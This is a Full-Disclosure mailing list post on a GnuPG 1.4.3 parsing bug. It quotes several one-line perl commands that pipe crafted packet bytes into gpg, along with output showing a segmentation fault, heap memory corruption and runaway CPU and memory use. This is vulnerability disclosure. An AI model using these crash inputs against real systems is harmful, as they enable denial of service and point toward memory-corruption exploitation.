Evgeny, Yes this and variations of it produce some interesting output (AMD64 Gentoo)
$ perl -e 'print "\xcd\x7f\x7f\x7f\x7f\xfe"'| gpg --no-armor gpg: orphaned user ID $ This will proceed to eat all available CPU and memory until it dies (approx 1-2 minutes later) $perl -e 'print "\xcd\xff\x7f\x7f\x7f\x7f"'| gpg --no-armor gpg: orphaned user ID Memory Error: memory at 0x2aaaabb99018 corrupted (overflow=55) Aborted $ which is probably related to this $perl -e 'print "\xcd\xff\xff\x7f\x7f\xfe"'| gpg --no-armor gpg: out of memory while allocating 4286546022 bytes $ Chris >Hi, > >Interesting GnuPG 1.4.3 bug: > >$ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor >gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy" >gpg: please use "keyserver-options http-proxy" instead > >gpg: Segmentation fault caught ... exiting >Segmentation fault > >Regards, >Evgeny Legerov >www.gleg.net _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
